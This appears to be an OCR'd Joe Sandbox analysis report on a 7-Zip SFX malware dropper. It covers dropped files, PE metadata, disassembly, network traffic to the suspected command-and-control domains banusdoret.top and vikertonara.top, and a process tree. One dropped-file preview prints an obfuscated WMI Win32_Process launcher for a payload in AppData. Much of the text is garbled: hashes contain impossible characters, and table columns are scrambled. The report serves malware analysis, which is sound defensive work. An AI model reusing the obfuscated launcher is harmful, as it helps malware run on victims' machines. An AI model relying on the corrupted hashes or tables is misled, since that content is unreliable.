SSDEEP: 6:5AKIH8CYM2h2sUS4tRZDelLPqJI5FkPr2wNelLPqJI5SFka9FWDeLPgJI5Fk4p:5zS6R4t7Yw2wauY 1

MD5: 893005367A38C097BD1AC6910453EAEB

SHA1L: 964EB1DAC2C6333E71853DESDDE9017E4500A2EA

SHA-256: E973A295696760D5CFCAACOC713D0DB9B1D7493F243E62C4C58AEFCA8BA0603D6

SHA-512: 49B8CI9FODEB2ACC329FB7FD364F47E3D33F70BE995B7F5977FB8632D7197EOEFDA85F92813F87E9470FODF972E473170A54490A5F988584939F1CB8C3D01CFC?

Malicious: false

Preview:
GetObject("win" + "mgmts:\\\.\\ro" + "ot\\ci" + "mv2:W" + "in32_Pr" + "oce" + "ss").Create("C:\\Users\\user\\AppData\\Roaming\\zPgFgFUsML\\juROhmfLml.exe.com C
‘\Users\\user\\AppData\\Roaming\\zPgFgFUsML\I" , "C:\\Users\\user\\AppData\\Roaming\\zPgFqFUsML", null, null )

\Device\ConDrv

Process: C:\Windows\SysWOW64\makecab.exe

File Type: ASCII text, with CRLF, CR line terminators

Category: dropped

Size (bytes): 386

Entropy (8bit):  5.152841278494102

Encrypted: false

SSDEEP: 12:xYV1IWrVVINL4986l086limAgVa2+fX6ImM86In:xYDMIZv6l086lim3Va2+X6Imdéin

MD5: ED81F3E8939C9C235EE1A69A43B4FD52

SHA1L: 3348810A5493D6DB80F8BI9B836F301C51CEOCA24

SHA-256: B6BDE1A044508592FAEEC125209BAAA4D9DB992FODE6COFB49D938D801A389B4

SHA-512: 8B3709ED3720E79C04407669C69D05744EED79C366FB8918D448B80AF88EBASFAB1AB325ADA0CASES65544748028F12F173999787B1E9912E1E10A7719BA109A

Malicious: false

Preview:

Cabinet Maker - Lossless Data Compression Tool.... 0.00% - raw=0 compressed=0..100.00% - raw=5,857 compressed=1,811.. 0.00% [flushing current folder]. 94.32%
[flushing current folder].** 4624a8e10d6df3306e1dd46223b6h1968208dd49 placed in cabinet C:\Users\user\AppData\Local\Temp\chr2302.tmp(3211362) on disk .. 3.04%
[flushing current folder].100.00% [flushing current folder].

Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

PE32 executable (GUI) Intel 80386, for MS Windows,
InstallShield self-extracting archive

7.948950858150679

e Win32 Executable (generic) a (10002005/4)
99.96%

Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

WDnE51mua6.exe

.

.

.

1338284
7e7012645cc3d6d3572bb01891fbcecl
712fe21354098f3764f6e9che7b57dc67a65c478

df116f3585f1fe4b00c351a2941f6h85565e1fcc6da5569¢
6f7c80ddd1b4e2a8

8197fa8afd6ebfa016bb6ed1f81402f3520289343b98dall
31cef927fe5ce8828ac6c8d95e34a6f198421285872ec55
6ad08ad2d2109e6244efald08e5cc51ca

24576:453uhFDHfQS65sxmN8CaEDtRcQV6sQVoRdIX
UZCIiF0YqIX7xpMyNIleFKtc8GCcm:45+hFDHOoGDvcC
7UnF079pjOeYt3cm
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Icon Hash: 1d6dec6c6cf870fc

Static PE Info

General

Entrypoint: 0x41c35f

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp: 0x5700444A [Sat Apr 2 22:14:34 2016 UTC]
TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4
OS Version Minor: 0
File Version Major: 4
File Version Minor: 0
Subsystem Version Major: 4
Subsystem Version Minor: 0
Import Hash: ala66d588dcf1394354ebf6ec400c223

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 0041FA80h
push 0041C4F0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [0041D1ECh]
pop ecx
or dword ptr [00426C88h], FFFFFFFFh
or dword ptr [00426C8Ch], FFFFFFFFh
call dword ptr [0041D1F0h]
mov ecx, dword ptr [00424C74h]
mov dword ptr [eax], ecx
call dword ptr [0041D1F4h]
mov ecx, dword ptr [00424C70h]
mov dword ptr [eax], ecx
mov eax, dword ptr [0041D1F8h]
mov eax, dword ptr [eax]
mov dword ptr [00426C84h], eax
call 00007F345CA1B822h
cmp dword ptr [004226F0h], ebx
jne 00007F345CA1B70Eh
push 0041C4E8h
call dword ptr [0041D1FCh]
pop ecx
call 00007F345CA1B7F4h
push 00422080h
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Instruction

push 0042207Ch

call 00007F345CA1B7DFh
mov eax, dword ptr [00424C6Ch]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax

push dword ptr [00424C68h]
lea eax, dword ptr [ebp-64h]
push eax

lea eax, dword ptr [ebp-70h]
push eax

lea eax, dword ptr [ebp-60h]
push eax

call dword ptr [0041D204h]
push 00422078h

push 00422000h

call 00007F345CA1B7ACh

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT

IMAGE_DIRECTORY_ENTRY_RESOURCE

IMAGE_DIRECTORY_ENTRY_EXCEPTION

IMAGE_DIRECTORY_ENTRY_SECURITY

IMAGE_DIRECTORY_ENTRY_BASERELOC

IMAGE_DIRECTORY_ENTRY_DEBUG

IMAGE_DIRECTORY_ENTRY_COPYRIGHT

IMAGE_DIRECTORY_ENTRY_GLOBALPTR

IMAGE_DIRECTORY_ENTRY_TLS

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT

IMAGE_DIRECTORY_ENTRY_IAT

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address

text 0x1000

.rdata 0x1d000

.data 0x22000

.rsrc 0x27000

Resources

Name

RT_ICON

RT_ICON
RT_GROUP_ICON
RT_VERSION
RT_MANIFEST

Imports

DLL
COMCTL32.dIl
SHELL32.dll

Copyright Joe Security LLC 2021

Ox1bd4a

0x41a8

0x4c90

0xa3c5

Virtual Size

RVA
0x27160

Ox2a81lc
0x30d48
0x30d6¢
0x310bc

Virtual Address

0x0
Ox1feac
0x27000
0x0

0x0

0x0

0x0

0x0

0x0

0x0

0x0

0x0
0x1d000
0x0

0x0

0x0

Xored PE

False

False

False

False

Size

0x36ba

0x6529
0x22
0x350
0x309

Import

Virtual Size
0x0
0xc8
0xa3c5
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x390
0x0
0x0
0x0
ZLIB Complexity File Type Entropy
0.602858744395 data 6.71052533174
0.46123342803 data 5.74601891947
0.41357421875 data 3.69619341546
0.442644817073 data 6.27811106965
Type
PNG image data, 228 x 228, 8-bit/color RGBA, non-
interlaced
data
data
data
ASCII text

Language

Is in Section

.rdata

.rsrc

.rdata

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Country

ShellExecuteExW, ShellExecuteW, SHGetMalloc, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfow,
SHGetSpecialFolderPathWw
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DLL Import

GDI32.dll CreateCompatibleDC, CreateFontindirectW, DeleteObject, DeleteDC, GetCurrentObject, StretchBlt, GetDeviceCaps,
CreateCompatibleBitmap, SelectObject, SetStretchBltMode, GetObjectW

ADVAPI32.dlI FreeSid, AllocateAndInitializeSid, CheckTokenMembership

USER32.dll GetParent, ScreenToClient, CreateWindowExW, GetDesktopWindow, GetWindowTextLengthW, SetWindowPos,

SetTimer, GetMessageW, Copylmage, KillTimer, CharUpperW, SendMessageW, ShowWindow, BringWindowToTop,
wsprintfW, MessageBoxW, EndDialog, ReleaseDC, GetWindowDC, GetMenu, GetWindowLongW, GetClassNameA,
wsprintfA, DispatchMessageW, SetWindowTextW, GetSysColor, DestroyWindow, MessageBoxA, GetKeyState,
IsWindow, GetDlgltem, GetClientRect, GetSystemMetrics, SetWindowLongW, UnhookWindowsHookEx, SetFocus,
SystemParametersinfoW, DrawTextW, GetDC, ClientToScreen, GetWindow, DialogBoxIndirectParamW, DrawlconEx,
CallwWindowProcW, DefWindowProcW, CallNextHookEx, PtinRect, SetWindowsHookExW, LoadlmageW, LoadlconW,
MessageBeep, EnableWindow, EnableMenultem, GetSystemMenu, CreateWindowEXA, wvsprintfw,
GetWindowTextW, GetWindowRect

ole32.dll CreateStreamOnHGlobal, CoCreatelnstance, Colnitialize
OLEAUT32.dll SysAllocStringLen, VariantClear, SysFreeString, OleLoadPicture, SysAllocString
KERNEL32.dll SetFileTime, SetEndOfFile, GetFileInformationByHandle, VirtualFree, GetModuleHandleA, WaitForMultipleObjects,

VirtualAlloc, ReadFile, SetFilePointer, GetFileSize, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection,
FormatMessageW, IstrcpyW, LocalFree, IsBadReadPtr, GetSystemDirectoryW, GetCurrentThreadld, SuspendThread,
TerminateThread, InitializeCriticalSection, ResetEvent, SetEvent, CreateEventW, GetVersionExW,
GetModuleFileNameW, GetCurrentProcess, SetProcessWorkingSetSize, SetEnvironmentVariableW, GetDriveTypeW,
CreateFileW, LoadLibraryA, SetThreadLocale, GetSystemTimeAsFileTime, ExpandEnvironmentStringsW,
CompareFileTime, WideCharToMultiByte, GetTempPathW, GetCurrentDirectoryW, GetEnvironmentVariableW,
IstrcmpiW, GetLocalelnfow, MultiByteToWideChar, GetUserDefaultUILanguage, GetSystemDefaultUlLanguage,
GetSystemDefaultLCID, IstrcmpiA, GlobalAlloc, GlobalFree, MulDiv, FindResourceExA, SizeofResource,
LoadResource, LockResource, GetModuleHandleW, FindFirstFileW, IstrcmpW, DeleteFileW, FindNextFileW,
FindClose, RemoveDirectoryW, GetStdHandle, WriteFile, IstrlenA, CreateDirectoryW, GetFileAttributesW,
SetCurrentDirectoryW, GetLocalTime, SystemTimeToFileTime, CreateThread, GetExitCodeThread, Sleep,
SetFileAttributesW, GetDiskFreeSpaceExW, SetLastError, GetTickCount, IstrlenW, ExitProcess, IstrcatW,
GetProcAddress, CloseHandle, WaitForSingleObject, GetExitCodeProcess, GetQueuedCompletionStatus,
ResumeThread, SetinformationJobObject, CreateloCompletionPort, AssignProcessToJobObject, CreateJobObjectW,
GetlLastError, CreateProcessW, GetStartupInfoW, GetCommandLineW, GetStartupinfoA

MSVCRT.dIl _purecall, ??22@YAPAXI@Z, _wtol, memset, memmove, memcpy, _wcsnicmp, _controlfp, _except_handler3,
__set_app_type, __p_ fmode, __p_ commode, _adjust_fdiv, __ setusermatherr, _initterm, __getmainargs, _acmdin,
exit, _XcptFilter, _exit, ??1type_info@ @UAE@XZ, _onexit, __dllonexit, malloc, realloc, free, wcsstr,
_CxxThrowException, _beginthreadex, _EH_prolog, ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z, strncmp,
wesnecmp, wesnepy, strnepy, ??3@YAXPAX@Z

Version Infos

Description Data
LegalCopyright Copyright 2005-2016 Oleg N. Scherbakov
InternalName 7ZSfxMod
FileVersion 1.7.0.3900
CompanyName Oleg N. Scherbakov
PrivateBuild April 1, 2016
ProductName 7-Zip SFX
ProductVersion 1.7.0.3900
FileDescription 7z Setup SFX (x86)
OriginalFilename 7ZSfxMod_x86.exe
Translation 0x0000 0x04b0

Network Behavior

Network Port Distribution

Total Packets: 88

® 53 (DNS)
@ 443 (HTTPS)
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Apr 8, 2021 10:51:48.211783886 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.248919964 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:48.249011040 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.297076941 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.334189892 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:48.335027933 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:48.335057974 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:48.335076094 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:48.335144997 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.335174084 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.401423931 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.439044952 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:48.439230919 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.458048105 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:48.537000895 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:51.044800043 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:51.044917107 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:51.101850033 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:51.138989925 CEST 443 49730 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:51.139132977 CEST 49730 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.261534929 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.298271894 CEST 443 49736 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.298368931 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.299004078 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.335913897 CEST 443 49736 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.336038113 CEST 443 49736 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.336169958 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.336937904 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.340210915 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.340400934 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.377252102 CEST 443 49736 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.377367020 CEST 443 49736 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.447762012 CEST 443 49736 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.448004961 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.484589100 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.487601995 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.521543980 CEST 443 49736 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.521784067 CEST 49736 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.524744034 CEST 443 49737 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.524957895 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.525288105 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.562771082 CEST 443 49737 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.562814951 CEST 443 49737 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.563021898 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.563952923 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.566720009 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.603965044 CEST 443 49737 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.670713902 CEST 443 49737 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.670866966 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.723289013 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.760421038 CEST 443 49737 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.760620117 CEST 49737 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.834237099 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.871321917 CEST 443 49738 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.871542931 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.871781111 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.908390045 CEST 443 49738 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.908427954 CEST 443 49738 8.208.95.18 192.168.2.6
Apr 8, 2021 10:51:59.908519983 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.909439087 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.914376974 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:51:59.951232910 CEST 443 49738 8.208.95.18 192.168.2.6
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 8, 2021 10:52:00.016449928 CEST 443 49738 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.017641068 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.074441910 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.111310005 CEST 443 49738 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.111473083 CEST 49738 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.191163063 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.228209019 CEST 443 49739 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.229124069 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.229389906 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.266302109 CEST 443 49739 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.266318083 CEST 443 49739 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.266870975 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.267250061 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.270010948 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.306919098 CEST 443 49739 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.373229980 CEST 443 49739 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.373536110 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.398222923 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.435311079 CEST 443 49739 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.436233044 CEST 49739 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.503431082 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.540998936 CEST 443 49740 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.544018984 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.544552088 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.582031012 CEST 443 49740 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.582063913 CEST 443 49740 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.582192898 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.582699060 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.585120916 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.622780085 CEST 443 49740 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.686142921 CEST 443 49740 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.689125061 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.738214970 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.776184082 CEST 443 49740 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.776597977 CEST 49740 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.847709894 CEST 49741 443 192.168.2.6 8.208.95.18
Apr 8, 2021 10:52:00.885088921 CEST 443 49741 8.208.95.18 192.168.2.6
Apr 8, 2021 10:52:00.885189056 CEST 49741 443 192.168.2.6 8.208.95.18

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Apr 8, 2021 10:50:12.925071001 CEST 64267 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:12.937567949 CEST 53 64267 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:14.182961941 CEST 49448 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:14.195956945 CEST 53 49448 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:15.112163067 CEST 60342 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:15.124771118 CEST 53 60342 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:20.564079046 CEST 61346 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:20.576509953 CEST 53 61346 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:30.808983088 CEST 51774 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:30.821641922 CEST 53 51774 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:31.685741901 CEST 56023 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:31.698636055 CEST 53 56023 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:39.998100042 CEST 58384 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:40.011301994 CEST 53 58384 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:42.811518908 CEST 60261 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:42.823417902 CEST 53 60261 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:44.874286890 CEST 56061 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:44.887089968 CEST 53 56061 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:46.472759962 CEST 58336 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:46.486099958 CEST 53 58336 8.8.8.8 192.168.2.6
Apr 8, 2021 10:50:47.450792074 CEST 53781 53 192.168.2.6 8.8.8.8
Apr 8, 2021 10:50:47.463474035 CEST 53 53781 8.8.8.8 192.168.2.6
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Timestamp

Apr 8, 2021 10:50:48.312582970 CEST
Apr 8, 2021 10:50:48.326539040 CEST
Apr 8, 2021 10:50:48.603174925 CEST
Apr 8, 2021 10:50:48.617897987 CEST
Apr 8, 2021 10:50:51.302234888 CEST
Apr 8, 2021 10:50:51.314358950 CEST
Apr 8, 2021 10:50:52.029544115 CEST
Apr 8, 2021 10:50:52.042207956 CEST
Apr 8, 2021 10:50:52.439315081 CEST
Apr 8, 2021 10:50:52.453015089 CEST
Apr 8, 2021 10:51:03.801086903 CEST
Apr 8, 2021 10:51:03.813566923 CEST
Apr 8, 2021 10:51:29.412709951 CEST
Apr 8, 2021 10:51:29.425477028 CEST
Apr 8, 2021 10:51:30.261276007 CEST
Apr 8, 2021 10:51:30.273669004 CEST
Apr 8, 2021 10:51:30.883323908 CEST
Apr 8, 2021 10:51:30.901643038 CEST
Apr 8, 2021 10:51:39.885373116 CEST
Apr 8, 2021 10:51:39.900033951 CEST
Apr 8, 2021 10:51:45.649997950 CEST
Apr 8, 2021 10:51:45.667886972 CEST
Apr 8, 2021 10:51:48.161295891 CEST
Apr 8, 2021 10:51:48.174905062 CEST
Apr 8, 2021 10:51:52.257822037 CEST
Apr 8, 2021 10:51:52.269671917 CEST
Apr 8, 2021 10:51:53.155883074 CEST
Apr 8, 2021 10:51:53.169202089 CEST
Apr 8, 2021 10:51:54.576421976 CEST
Apr 8, 2021 10:51:54.623588085 CEST
Apr 8, 2021 10:52:16.008687019 CEST
Apr 8, 2021 10:52:16.021300077 CEST
Apr 8, 2021 10:52:26.028850079 CEST
Apr 8, 2021 10:52:26.061989069 CEST
Apr 8, 2021 10:52:27.082496881 CEST
Apr 8, 2021 10:52:27.103729010 CEST

DNS Queries

Timestamp

Apr 8, 2021 10:50:39.998100042 CEST

Apr 8, 2021 10:50:52.439315081 CEST

Apr 8, 2021 10:51:48.161295891 CEST

DNS Answers

Timestamp Source IP

Apr 8, 2021 8.8.8.8
10:50:40.011301994
CEST

Apr 8, 2021 8.8.8.8
10:50:52.453015089
CEST

Apr 8, 2021 8.8.8.8
10:51:48.174905062
CEST

HTTPS Packets
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Dest IP
192.168.2.6

192.168.2.6

192.168.2.6

Source IP

192.168.2.6

192.168.2.6

192.168.2.6

Trans ID

0x880c

0xf091

0x1688

Source Port
54064
53
52811
53
55299
53
63745
53
50055
53
61374
53
50339
53
63307
53
49694
53
54982
53
50010
53
63718
53
62116
53
63816
53
55014
53
62208
53
57574
53
51818
53

Dest IP

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

Name error (3)

Name error (3)

No error (0)

Dest Port
53
54064
53
52811
53
55299
53
63745
53
50055
53
61374
53
50339
53
63307
53
49694
53
54982
53
50010
53
63718
53
62116
53
63816
53
55014
53
62208
53
57574
53
51818

Trans ID

0x880c

0xf091

0x1688

Name
ZjZFqZYoOt
pryMyR.zjZ
FgZYoOtpryMyR
ZjZFqZYoOt
pryMyR.zjZ
FgZYoOtpryMyR

banusdoret.top

Source IP
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8

OP Code

Standard query
(0)

Standard query
(0)

Standard query
(0)

CName

none

none

Name

ZjZFqZYoOt
pryMyR.zjZ
FgZYoOtpryMyR

ZjZFqZYoOt
pryMyR.zjZ
FgZYoOtpryMyR

banusdoret.top

Address

none

none

8.208.95.18

Dest IP
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6
8.8.8.8
192.168.2.6

Type

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Dest

Dest IP Port Subject

192.168.2.6 49730 CN=vikertonara.top CN=R3,

Source
Timestamp Source IP  Port
Apr 8, 2021 8.208.95.18 443
10:51:48.335057974
CEST

Code Manipulations

Statistics

Behavior

@

System Behavior

Click to jump to process

O=Let's Encrypt, C=US

CN=R3, O=Let's Encrypt,
C=USs

Not Not JA3 SSL Client
Issuer Before After Fingerprint JA3 SSL Client Digest
CN=R3, O=Let's FriFeb ThuMay 771,49196-49195- 37f463bf4616ecd445d4al
Encrypt, C=US 26 27 49200-49199-49188- 937da06e19
CN=DST Root CA  18:10:55 19:10:55 49187-49192-49191-
X3, O=Digital CET CEST  49162-49161-49172-
Signature Trust Co. 2021 2021 49171-157-156-61-
Wed Oct Wed 60-53-47-10,0-10-11-
07 Sep29 13-35-23-65281,29-
21:21:40 21:21:40 23-24,0
CEST CEST
2020 2021
CN=DST Root CA  Wed Oct Wed
X3, O=Digital 07 Sep 29
Signature Trust Co.  21:21:40 21:21:40
CEST CEST
2020 2021

@ WDnE51muab6.exe
@ svchost.exe

@ cmd.exe

@ conhost.exe

® cmd.exe

@ findstr.exe

@ Gia.exe.com
@ Gia.exe.com
©® PING.EXE

@ wscript.exe
@ juROhmfLml.exe.com
@ nslookup.exe
@ nslookup.exe
@ cmd.exe

@ conhost.exe
@ cmd.exe

@ conhost.exe
@® WMIC.exe

® cmd.exe

@ conhost.exe

@ makecab.exe

Analysis Process: WDnE51mua6.exe PID: 3000 Parent PID: 5944

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:
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10:50:21

08/04/2021
C:\Users\user\Desktop\WDnE51mua6.exe
true
‘C:\Users\user\Desktop\WDnE51mua6.exe'
0x400000

1338284 bytes
7E7012645CC3D6D3572BB01891FBCECL
true

true
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Programmed in:

Reputation:

File Activities

File Created

File Path
